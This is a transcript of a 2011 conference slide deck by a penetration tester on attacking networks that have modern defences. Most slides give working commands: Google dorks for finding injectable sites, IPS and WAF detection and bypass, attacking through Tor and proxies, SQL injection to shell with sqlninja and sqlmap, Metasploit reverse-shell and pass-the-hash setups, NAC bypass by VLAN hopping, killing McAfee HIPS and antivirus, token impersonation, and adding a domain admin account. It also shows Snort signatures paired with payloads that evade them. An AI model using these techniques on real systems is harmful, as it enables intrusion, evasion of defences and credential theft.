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Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wned

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This document discusses penetration testing approaches from the past compared to today. It notes that in the past, penetration testing was easier because networks had fewer security controls like firewalls and patches. The document then provides tips and techniques for identifying security controls like load balancers, intrusion prevention systems, and web application firewalls that may be in place on modern networks. It also discusses ways to potentially bypass these controls like using encryption, proxies, or virtual private networks.

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You Spent All That Money ...And You Still Got Owned Presented By: Joe McCray joe@strategicsec.com http://www.linkedin.com/in/joemccray http://twitter.com/j0emccray Strategic Security, Inc. © http://www.strategicsec.com/
Joe McCray.... Who the heck are you? A Network/Web Application Penetration Tester & Trainer A.K.A: The black guy at security conferences Strategic Security, Inc. © http://www.strategicsec.com/
How I Throw Down... • I HACK • I CURSE • I DRINK (Rum & Coke) Strategic Security, Inc. © http://www.strategicsec.com/
Let me take you back.... Strategic Security, Inc. © http://www.strategicsec.com/
Penetration Testing Was Easy.... Step 1: Tell customer you are 31337 security professional Customers only applied patches if it fixed something on the system It was common practice NOT to apply system updates that didn't fix a problem you were experiencing on a system (WTF ARE YOU DOING - YOU MIGHT BREAK SOMETHING!!!!!) Step 2: Scan customer network with ISS or Nessus if you were a renegade Customers didn't apply patches, and rarely even had firewalls and IDSs back then You know you only ran ISS because it had nice reports... Step 3: Break out your uber 31337 warez and 0wn it all!!!!! You only kept an exploit archive to save time (Hack.co.za was all you needed back then) If you could read the screen you could 0wn the network!!!!!!! Strategic Security, Inc. © http://www.strategicsec.com/
If you were Ub3r 31337 you did it like this.... Strategic Security, Inc. © http://www.strategicsec.com/
Port Scan & Banner Grab The Target Strategic Security, Inc. © http://www.strategicsec.com/
Get your exploit code... Strategic Security, Inc. © http://www.strategicsec.com/
Own the boxes and take screen-shots Strategic Security, Inc. © http://www.strategicsec.com/
Write The Report... Strategic Security, Inc. © http://www.strategicsec.com/
Get Paid.... Strategic Security, Inc. © http://www.strategicsec.com/
Geez...That's A Lot To Bypass More Security Measures are being implemented on company networks today Firewalls are common place (perimeter and host-based) Anti-Virus is smarter (removes popular hacker tools, and in some cases stops buffer overflows Intrusion Detection/Prevention Systems are hard to detect let alone bypass NAC Solutions are making their way into networks Network/System Administrators are much more security conscious IT Hardware/Software vendors are integrating security into their SDLC . Strategic Security, Inc. © http://www.strategicsec.com/
It’s harder now....so what do I do today? Strategic Security, Inc. © http://www.strategicsec.com/
Project Scope • Project Scope – Internal BlackBox (Limited Knowledge) Penetration Test – External BlackBox (Limited Knowledge) Penetration Test – Web Application Security Assessment – Wireless Security Assessment – Physical Security Assessment • Project Limitations – Project was considered blackbox until Sampleblank consultants were detected by network team. – No social engineering or user interaction attacks were authorized Strategic Security, Inc. © http://www.strategicsec.com/
Attacking sampleblank: The Play-By-Play • Hmmm…what do we have here???? – The following security/monitoring applications were discovered • McAfee Virus Shield • McAfee HIPS • Altiris • Big Brother • Attack Steps: – Enumerate Network without scanning – Obtain valid privileged credentials Strategic Security, Inc. © http://www.strategicsec.com/
Attacking sampleblank: Domain Admin Strategic Security, Inc. © http://www.strategicsec.com/
I’m SWIFT BABY!!!!! Strategic Security, Inc. © http://www.strategicsec.com/
Attacking sampleblank: The Play-By-Play Strategic Security, Inc. © http://www.strategicsec.com/
Attacking sampleblank: The Play-By-Play Strategic Security, Inc. © http://www.strategicsec.com/
Ask Google To Help Google loves SQL Injection * site:targetcompany.com "Microsoft OLE DB Provider for SQL Server" * site:targetcompany.com "Microsoft JET Database Engine" * site:targetcompany.com "Type mismatch" * site:targetcompany.com "You have an error in your SQL syntax" * site:targetcompany.com "Invalid SQL statement or JDBC" * site:targetcompany.com "DorisDuke error" * site:targetcompany.com "OleDbException" * site:targetcompany.com "JasperException" * site:targetcompany.com "Fatal Error" * site:targetcompany.com "supplied argument is not a valid MySQL" * site:targetcompany.com "mysql_" * site:targetcompany.com ODBC * site:targetcompany.com JDBC * site:targetcompany.com ORA-00921 * site:targetcompany.com ADODB Strategic Security, Inc. © http://www.strategicsec.com/
Ask Google To Help Google loves RFIs * site:targetcompany.com ".php" "file=" * site:targetcompany.com ".php" "folder=" * site:targetcompany.com ".php" "path=" * site:targetcompany.com ".php" "style=" * site:targetcompany.com ".php" "template=" * site:targetcompany.com ".php" "PHP_PATH=" * site:targetcompany.com ".php" "doc=" * site:targetcompany.com ".php" "document=" * site:targetcompany.com ".php" "document_root=" * site:targetcompany.com ".php" "pg=" * site:targetcompany.com ".php" "pdf=" . Strategic Security, Inc. © http://www.strategicsec.com/
Do Passive Recon/OSINT Act like a woman trying to catch her man cheating – look through EVEYTHING! Firefox Passive Recon - https://addons.mozilla.org/en-US/firefox/addon/6196 1. DNS – AS – Server Version Info 2. Email addresses 3. Files (Doc,PDF, etc) Maltego (Data Relationship Identification) - http://www.paterva.com/web5/client/overview.php 1. DNS – AS – Server Version Info 2. Email addresses 3. Files (Doc,PDF, etc) 4. Social Media 5. Too much to list here Strategic Security, Inc. © http://www.strategicsec.com/
OSINT Report What’s in the report * Company’s geographic location info * IP ranges owned by the company * IT Resources owned by the company * Email Addresses of people in the company * Important company files * Personal info about employees Ask me offline and I can show you a report . Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Load Balancers Most load-balancers are deployed for redundancy and performance improvement As an attacker – load balancers are a headache. You have no idea where you packets are going.... There is absolutely no point in running tools against a host without knowing if a load balancer has been deployed. So – Step 1 Determine if the host is load balanced.... Step 2 Determine what type of load balancing is in place (HTTP or DNS) Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Load Balancers How can you tell if the target host is behind a load balancer? Firefox LiveHTTP Headers - https://addons.mozilla.org/en-US/firefox/addon/3829 - Look in HTTP header for modifications such as: 1. BIGipServerOS in cookie 2. nnCoection: close 3. Cneonction: close dig * Look for multiple addresses resolving to one domain name * dig google.com Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Load Balancers How can you tell if the target host is behind a load balancer? Netcraft.com * Look for things like "F5 BigIP" lbd.sh * http://ge.mine.nu/lbd.html * sh lbd-0.1.sh targetcompany.com halberd * http://halberd.superadditive.com/ * halberd -v targetcompany.com Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Intrusion Prevention Systems Ok – so now you've figured out if you are up against a load balancer. You've figured out if it's HTTP or DNS based load balancing and what the real IP is. Just like there's no point in running tools against a load balanced host there is no point in running tools against a host that is protected by an IPS. Sooooo...how can you tell if the target host protected an Intrusion Prevention System? Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Intrusion Prevention Systems How can you tell if the target host protected an Intrusion Prevention System? Curl: The netcat of the web app world http://curl.haxx.se/ curl -i http://www.targetcompany.com/../../WINNT/system32/cmd.exe?d curl -i http://www.targetcompany.com/type+c:winntrepairsam._ Look for RSTs and no response....tcpdump/wireshark is your friend ;-) Active Filter Detection - http://www.purehacking.com/afd/downloads.php - osstmm-afd -P HTTP -t targetcompany.com -v Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Intrusion Prevention Systems Ok, so you're up against an IPS – relax...there are a few other things to consider. HINT: Most IDS/IPS solutions don't monitor SSL encrypted (actually any encrypted) traffic. SSL Accelerators are expensive so not everyone has one. Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Intrusion Prevention Systems Most of the time you can get around an IPS by just using encryption. The other thing to consider is whether the IPS is in-line or out of band. Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Intrusion Prevention Systems Does the IPS monitor SSL encrypted traffic? vi /etc/xinetd.d/ssltest #default: off #description: OpenSSL s_client proxy (just change the target url) service ssltest { disable = no socket_type = stream port = 8888 wait = no protocol = tcp user = root server = /home/j0e/security/toolz/ssl_proxy.sh only_from = 127.0.0.1 bind = 127.0.0.1 } Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Intrusion Prevention Systems Does the IPS monitor SSL encrypted traffic? (Cont.) vi /home/j0e/security/toolz/ssl_proxy.sh #!/bin/bash openssl s_client -quiet -connect www.targetcompany.com:443 2>/dev/null Start the service /usr/sbin/xinetd -d -f /etc/xinetd.d/ssltest & Run AFD against localhost osstmm-afd -v -P HTTP -t localhost -p 8888 -v Strategic Security, Inc. © http://www.strategicsec.com/
Attacking Through Tor To run scanning tools through Tor alias hide='su -c "/home/j0e/dumbscripts/hide.sh"' $ cat /home/j0e/dumbscripts/hide.sh #!/bin/bash # Startup privoxy /usr/sbin/privoxy /etc/privoxy/config # Start Tor /usr/bin/tor $ hide # socat TCP4-LISTEN:8080,fork SOCKS4:127.0.0.1:targetcompany.com80,socksport=9050 Now all attacks can be launched against 127.0.0.1:8080 with Nessus or similar tool. Strategic Security, Inc. © http://www.strategicsec.com/
Attacking Through Proxies To port scan through a series of proxies # vi /etc/proxychains.conf # tor & # proxychains nmap -sT -p80 204.244.125.9 To port scan through Glype Proxies $ cd /home/j0e/toolz/glypeahead-1.1 $ vi config.php $ php glypeahead config.php Strategic Security, Inc. © http://www.strategicsec.com/
Attacking Through Globally Distributed VPNs Hundreds of companies offer VPN access all over the world - snail mail money order for payment ;)  VyperVPN  Kyptotel  MadVPN  VPNGate  DenVPN  ACEVPN  ....too many to list Strategic Security, Inc. © http://www.strategicsec.com/
Are We Forgetting Something???? What if you don't detect any active filtering solution in place? Can you still be missing something that messing with your traffic? What about a WAF? Most hosts running a WAF will show as not have an Active Filtering Solution in place by tools like AFD Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? * https://addons.mozilla.org/en-US/firefox/addon/3829 * Look in HTTP header for modifications such as: 1. Cookie Value has WAF info in it - BIGipServerwww.google.com_pool_http - barra_counter_session - WODSESSION 2. Different server response code for hostile request - 501 Method Not Implemented 3. Different "Server" response when hostile packet is sent Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Web Application Firewalls WAFs are surprisingly easy to detect? Generally you just have to send 1 valid request, and one malicious request and diff the response. Malicious tends to be any HTTP request that has a payload that contains things like: ' “< ? # - | ^* Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Curl curl -i http://targetcompany.com/cmd.exe | grep "501 Method" Netcat $ (echo "GET /cmd.exe HTTP/1.1"; echo "Host: targetcompany.com"; echo) | nc targetcompany.com | grep "501 Method Not Implemented" If the server responds with error code “501 Method Not Implemented” then it is running mod_security. Curl curl -i http://www.targetcompany.com/%27 HTTP/1.1 999 No Hacking Server: WWW Server/1.1 Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Curl curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c %65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e HTTP/1.1 200 Condition Intercepted Date: Sun, 15 Mar 2009 01:42:01 GMT Server: Apache Strategic Security, Inc. © http://www.strategicsec.com/
Identifying Web Application Firewalls How can you determine if the target host has deployed a WAF? Waffit (WAFWOOF) Strategic Security, Inc. © http://www.strategicsec.com/
Bypassing Web Application Firewalls How can you determine if the target host has deployed a WAF? Gary O'Leary-Steele http://packetstormsecurity.org/web/unicode-fun.txt [j0e@LinuxLaptop toolz]$ ruby unicode-fun.rb Enter string to URL Unicode:<script>alert('XSS')</script> %u003c%uff53%uff43%uff52%uff49%uff50%uff54%u003e%uff41%uff4c%uff45%uff52%uff 54%uff08%u02b9%uff38%uff33%uff33%u02b9%uff09%u003c%u2215%uff53%uff43%uff52 %uff49%uff50%uff54%u003e Curl curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c %65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e HTTP/1.1 404 Not Found Date: Sat, 14 Mar 2009 19:13:10 GMT Server: Apache Strategic Security, Inc. © http://www.strategicsec.com/
Attacking Websites Through Tor alias hide='su -c "/home/j0e/dumbscripts/hide.sh"' $ cat /home/j0e/dumbscripts/hide.sh #!/bin/bash # Startup privoxy /usr/sbin/privoxy /etc/privoxy/config # Start Tor /usr/bin/tor $ hide Firefox Tor Button * https://addons.mozilla.org/en-US/firefox/addon/2275 Click on Firefox TOR button and have fun hacking Strategic Security, Inc. © http://www.strategicsec.com/
DotNet Defender WAF Strategic Security, Inc. © http://www.strategicsec.com/
Bypassing DotNet Defender Strategic Security, Inc. © http://www.strategicsec.com/
Bypassing DotNet Defender Strategic Security, Inc. © http://www.strategicsec.com/
Dumping Admin PW – sorry DotNet Defender Strategic Security, Inc. © http://www.strategicsec.com/
Getting Into The LAN from the web.... Strategic Security, Inc. © http://www.strategicsec.com/
SQL Injection to Metasploit (SQLNinja) cd /home/beatdown/toolz/sqlninja-0.2.3/ vi sqlninja.beatdown.conf host = [target ip] page = /vuln/vulnpage.asp stringstart = VulnID=10; lhost = [your ip] device = eth0 msfpath = /home/beatdown/toolz/metasploit resolvedip = [your ip] ./sqlninja -m t -f sqlninja.beatdown.conf (test for injection) ./sqlninja -m f -f sqlninja.beatdown.conf (fingerprint the backend db) ./sqlninja -m u -f sqlninja.beatdown.conf (upload dnstun, netcat, or meterpreter) ./sqlninja -m s -f sqlninja.beatdown.conf (drop a shell) Strategic Security, Inc. © http://www.strategicsec.com/
SQL Injection to Metasploit (SQLMAP) cd /home/beatdown/toolz/sqlmap-dev python sqlmap.py -u "http://www.about2bowned.com/vuln/vulnpage.aspx?VulnID=10" --os-shell -v 1 os-shell> python sqlmap.py -u "http://www.about2bowned.com/vuln/vulnpage.aspx?VulnID=10" --os-pwn --msf-path /home/beatdown/toolz/metasploit --priv-esc -v 10 meterpreter> Strategic Security, Inc. © http://www.strategicsec.com/
Not Getting Caught Strategic Security, Inc. © http://www.strategicsec.com/
Filter Evasion I know that people often think this stuff is very black and white, cut and dry - but the simple truth with sql injection is sometimes you just have a gut feeling that you are looking at a vulnerable page. You've tried a bunch of things but for some reason nothing seems to be working. You may be facing some sort of filtering. Maybe the developer has attempted to stop sql injection by only allowing alphanumeric characters as input. Strategic Security, Inc. © http://www.strategicsec.com/
Client-Side Filtering The first thing that we want to do is determine if the filtering is client-side (ex: being done with javascript). View source code and look for any parameters being passed to the website that may be filtered with javascript/vbscript and remove them - Save the page locally and remove offending javascript/vbscript or - Use a local proxy (ex: Paros, Webscarab, Burp Suite) Strategic Security, Inc. © http://www.strategicsec.com/
Restrictive Blacklist Server-side Alphanumeric Filter http://[site]/page.asp?id=2 or 1 like 1 Here we are doing an “or true,” although this time we are using the “like” comparison instead of the “=” sign. We can use this same technique for the other variants such as “and 1 like 1” or “and 1 like 2” http://[site]/page.asp?id=2 and 1 like 1 http://[site]/page.asp?id=2 and 1 like 2 Strategic Security, Inc. © http://www.strategicsec.com/
Signature Based IDS The key to IDS/IPS evasion is knowing that there is one in place. With an IPS you can use something like Active Filter Detection or you can try something REALLY noisy from another IP address to see if your IP gets blocked. Depending of the scope of your engagement you may or may not really be able to identify when an IDS is in use because it's passive in nature. I've honestly found this side of the house to be more proof-of-concept, and just having fun as opposed to something I've actually needed on assessments. Strategic Security, Inc. © http://www.strategicsec.com/
Strategic Security, Inc. © http://www.strategicsec.com/
Signature Based IDS (1) Signature 1 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”; flow: to_server, established; content: “' or 1=1 --”; nocase; sid: 1; rev:1;) Bypass Techniques: http://[site]/page.asp?id=2 or 2=2-- http://[site]/page.asp?id=2 or 1<2-- http://[site]/page.asp?id=2 or 1 like 1-- http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2-- ....c'mon everyone name some more Signature Negatives - Having the ' in the signature will cause you to miss attacks that don't utilize the ' - 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc) If this signature is so easily bypassed, what is it actually good for? Answer: It's great for automated tools and kiddies Strategic Security, Inc. © http://www.strategicsec.com/
Signature Based IDS (My Opinion) Strategic Security, Inc. © http://www.strategicsec.com/
Signature Based IDS (2) Signature 2 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”; flow: to_server, established; pcre: “/(and|or) 1=1 (--|/*|#)/i”; sid: 1; rev:2;) Bypass Techniques: http://[site]/page.asp?id=2 or 2=2%2D%2D http://[site]/page.asp?id=2 or 1<2%2D%2D http://[site]/page.asp?id=2 or 1 like 1%2D%2D http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2%2D%2D ....c'mon everyone name some more Signature Negatives - 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc) - Comments like pretty much anything else can be represented in other encoding type (ex: (%2D%2D = --) - It is possible to attack an sql injection vulnerability without using comments If this signature is so easily bypassed, what is it actually good for? Answer: Again, it's great for automated tools and kiddies Strategic Security, Inc. © http://www.strategicsec.com/
Signature Based IDS (3 – 5) Signature 3-5 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/select.*from.*(--|/*|#)/i”; sid: 2; rev: 1;) alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection UNION statement”; flow: to_server, established; pcre:”/union.*(--|/*|#)/i”; sid: 3; rev: 1;) Bypass Techniques: http://[site]/page.asp?id=2 or 2 in (%73%65%6C%65%63%74%20%75%73%65%72)%2D%2D http://[site]/page.asp?id=2 or 2 in (select user)-- http://[site]/page.asp?id=-2 %55%4E%49%4F%4E%20%41%4C%4C%20%73%65%6C%65%63%74%201,2,3,(%73%65%6C %65%63%74%20%75%73%65%72),5,6,7%2D%2D http://[site]/page.asp?id=-2 UNION ALL select 1,2,3,(select user),5,6,7-- ....c'mon everyone name some more Signature Negatives - Although sigs 3-5 are much better, they don't consider the attacker may use different encoding types such as hex Strategic Security, Inc. © http://www.strategicsec.com/
Signature Based IDS (6 – 7) Signature 6 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/(s|%73)(e|%65)(l|%6C)(e|%65)(c|%63)(t|%74).*(f|%66)(r|%72)(o|%6F)(m|%6D).*(--|/*|#)/i”; sid: 2; rev2;) Signature 7 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, established; pcre:”/(s|%73|%53)(e|%65|%45)(l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%66|%46)(r|%72|%52)(o| %6F|%4F)(m|%6D|%4D).*(--|/*|#)/i”; sid: 2; rev: 3;) At least signature 7 takes into account case sensitivity with hex encoding. But..... There are always other encoding types that the attacker can use... Strategic Security, Inc. © http://www.strategicsec.com/
Practice Your Kung Fu: PHPIDS Strategic Security, Inc. © http://www.strategicsec.com/
Practice Your Kung Fu: PHPIDS Strategic Security, Inc. © http://www.strategicsec.com/
Signature Based IDS The real trick for each of these techniques is to understand that this is just like IDS evasion in the service based exploitation side of the house. You have to make sure that your attack actually works. It's easy to bypass an IDS, but you can just as easily end up with your attack bypassing the IDS, but not working at all. With this in mind you can mix/match the IDS evasion tricks - it's just a matter of understanding the regex in use. http://[site]/page.asp?id=2%20or%202%20in%20(/*IDS*/%73/*evasion*/%65/*is*/ %6C/*easy*/%65/*just*/%63/*ask*/%74/*j0e*/%20%75/*to*/%73/*teach*/%65/*you*/ %72/*how*/)%2D%2D What is passed to the db http://[site]/page.asp?id=2 or 2 in (select user)-- in comments ("IDS evasion is easy just ask j0e to teach you how") Strategic Security, Inc. © http://www.strategicsec.com/
Getting in via client-side sudo ./msfconsole Be sure to run as root so you can set the LPORT to 443 use exploit/[name of newest browser, PDF, ActiveX, or fileformat exploit] set PAYLOAD windows/meterpreter/reverse_tcp set ExitOnSession false set LHOST [your public ip] set LPORT 443 exploit -j Strategic Security, Inc. © http://www.strategicsec.com/
SET is some next level shit svn co http://svn.thepentest.com/social_engineering_toolkit/ SET/ Strategic Security, Inc. © http://www.strategicsec.com/
Pivoting into the LAN Pivot Attack: Using a compromised host as a launching point to attack other hosts... ......set up standard exploit exploit route ctrl-z <-- background the session back <--- you need to get to main msf> prompt Now set up Pivot with a route add route add 192.168.10.131 255.25.255.0 1 <-- Use correct session id route print <----- verify use exploit/windows/smb/ms08_067_dcom set PAYLOAD windows/shell/bind_tcp set RHOST 192.168.10.132 set LPORT 1234 ctrl-z <-- background the session back <--- you need to get to main msf> prompt Run auxillaries & exploits through your pivot use scanner/smb/version set RHOSTS 192.168.10.1/24 run Strategic Security, Inc. © http://www.strategicsec.com/
Common LAN Security Solutions Can’t get on the network????? 1. NO DHCP – static IP addresses 2. DHCP MAC Address reservations 3. Port Security 4. NAC solution Strategic Security, Inc. © http://www.strategicsec.com/
Common LAN Security Solutions Can’t get on the network????? 1. NO DHCP – static IP addresses • Steal valid IP address from host 2. DHCP MAC Address reservations • Steal valid MAC address 3. Port Security • Steal valid MAC/IP address 4. NAC solution • Look for 802.1x exceptions such as printers, VoIP phones Strategic Security, Inc. © http://www.strategicsec.com/
Bypassing NAC Solutions Can’t get on the network????? Jump into the voice VLAN wget http://www.candelatech.com/~greear/vlan/vlan.1.9.tar.gz tar -zxvf vlan.1.9.tar.gz cd vlan tshark -i eth0 -v -v "ether host 01:00:0c:cc:cc:cc and (ether[24:2] = 0x2000 or ether[20:2] = 0x2000)" | grep voice vconfig add eth0 200 # 200 is Voice VLAN ID in this example ifconfig eth0.200 # Verify new interface was created dhcpd -d -t 10 eth0.200 # Try to get dhcp or Voiphopper voiphopper.sourceforge.net/ Strategic Security, Inc. © http://www.strategicsec.com/
Enumerating The Internal Network Against NIPS/HIPS c:set Use SET to get domain information and username c:net view Use NET VIEW to get computers in the users domain and other domains c:net view /domain Use NET VIEW to get computers in other domains c:net user Use NET USER to get local users on the computer you are on c:net user /domain All users in the current user's domain c:net localgroup Use NET LOCALGROUP to get the local groups on the computer c:net localgroup /domain Use NET LOCALGROUP to get the domain groups c:net localgroup administrators All users in the local administrators group c:net localgroup administrators /domain All users in the domain administrators group c:net group "Company Admins" /domain All users in the "Company Admins" group c:net user "joe.mccray" /domain All info about this user c:nltest /dclist: List Domain Controllers... Basically browsing network neighborhood, and querying Active Directory will always be considered legitimate traffic to an NIPS so you can use NET commands to enumerate a network without port scanning. Strategic Security, Inc. © http://www.strategicsec.com/
Looking Around the Network For A User Some commands to identify a logged in user NBTSTAT -a remotecomputer | FIND "<03>" | FIND /I /V "remotecomputer" WMIC /Node:remotecomputer ComputerSystem Get UserName PSLOGGEDON -L remotecomputer PSEXEC remotecomputer NET CONFIG WORKSTATION | FIND /I " name " PSEXEC remotecomputer NET NAME PSEXEC remotecomputer NETSH DIAG SHOW COMPUTER /V | FIND /i "username" Strategic Security, Inc. © http://www.strategicsec.com/
Moving Around The Network Smoking some MSF hash: Moving around the network using password hashes use exploit/windows/smb/psexec set RHOST 192.168.10.20 set SMBUser administrator set SMBPass 01fc5a6be7bc6929aad3b435b51404ee:0cb6948805f797bf2a82807973b89537 set PAYLOAD windows/shell/reverse_tcp set LHOST 192.168.10.10 exploit Strategic Security, Inc. © http://www.strategicsec.com/
Killing The HIPS (as SYSTEM with “at” command) 1. Stop the overall AV Framework net stop "McAfee Framework Service" 2. Stop the HIPS net stop hips net stop enterceptagent net stop firepm 3. McAfee Processes pskill -t UdaterUI pskill -t TBMon pskill -t Mcshield pskill -t VsTskMgr pskill -t shstat 4. HIPS Processes pskill -t firetray 5. Unload the EPO HIPS DLL regsvr32 -u fireepo.dll Strategic Security, Inc. © http://www.strategicsec.com/
Killing The HIPS (as SYSTEM with Metasploit) 1. Stop the overall AV Framework net stop "McAfee Framework Service" 2. Stop the HIPS net stop hips net stop enterceptagent net stop firepm 3. McAfee Processes pskill -t UdaterUI pskill -t TBMon pskill -t Mcshield pskill -t VsTskMgr pskill -t shstat 4. HIPS Processes pskill -t firetray 5. Unload the EPO HIPS DLL regsvr32 -u fireepo.dll Strategic Security, Inc. © http://www.strategicsec.com/
Owning The Domain Stealing a domain administrator's token.... meterpreter> use incognito meterpreter> list_tokens -u meterpreter> impersonate_token "domainuser" meterpreter> execute -c -H -f cmd -a "/k" -i -t <--- Use the -t to use your impersonated token or meterpreter > list_tokens -g meterpreter > impersonate_token "DOMAINDomain Admins" meterpreter> execute -c -H -f cmd -a "/k" -i -t <--- Use the -t to use your impersonated token Add yourself to the Domain Admin's group c:net user j0e j0eR0ck$ /domain /add c:net localgroup administrators j0e /domain /add Strategic Security, Inc. © http://www.strategicsec.com/
Holla @ Me.... Toll Free: 1-866-892-2132 Email: joe@strategicsec.com Twitter: http://twitter.com/j0emccray Slideshare: http://www.slideshare.net/joemccray LinkedIn: http://www.linkedin.com/in/joemccray Strategic Security, Inc. © http://www.strategicsec.com/

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Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wned

  • 1. You Spent All That Money ...And You Still Got Owned Presented By: Joe McCray [email protected] http://www.linkedin.com/in/joemccray http://twitter.com/j0emccray Strategic Security, Inc. © http://www.strategicsec.com/
  • 2. Joe McCray.... Who the heck are you? A Network/Web Application Penetration Tester & Trainer A.K.A: The black guy at security conferences Strategic Security, Inc. © http://www.strategicsec.com/
  • 3. How I Throw Down... • I HACK • I CURSE • I DRINK (Rum & Coke) Strategic Security, Inc. © http://www.strategicsec.com/
  • 4. Let me take you back.... Strategic Security, Inc. © http://www.strategicsec.com/
  • 5. Penetration Testing Was Easy.... Step 1: Tell customer you are 31337 security professional Customers only applied patches if it fixed something on the system It was common practice NOT to apply system updates that didn't fix a problem you were experiencing on a system (WTF ARE YOU DOING - YOU MIGHT BREAK SOMETHING!!!!!) Step 2: Scan customer network with ISS or Nessus if you were a renegade Customers didn't apply patches, and rarely even had firewalls and IDSs back then You know you only ran ISS because it had nice reports... Step 3: Break out your uber 31337 warez and 0wn it all!!!!! You only kept an exploit archive to save time (Hack.co.za was all you needed back then) If you could read the screen you could 0wn the network!!!!!!! Strategic Security, Inc. © http://www.strategicsec.com/
  • 6. If you were Ub3r 31337 you did it like this.... Strategic Security, Inc. © http://www.strategicsec.com/
  • 7. Port Scan & Banner Grab The Target Strategic Security, Inc. © http://www.strategicsec.com/
  • 8. Get your exploit code... Strategic Security, Inc. © http://www.strategicsec.com/
  • 9. Own the boxes and take screen-shots Strategic Security, Inc. © http://www.strategicsec.com/
  • 10. Write The Report... Strategic Security, Inc. © http://www.strategicsec.com/
  • 11. Get Paid.... Strategic Security, Inc. © http://www.strategicsec.com/
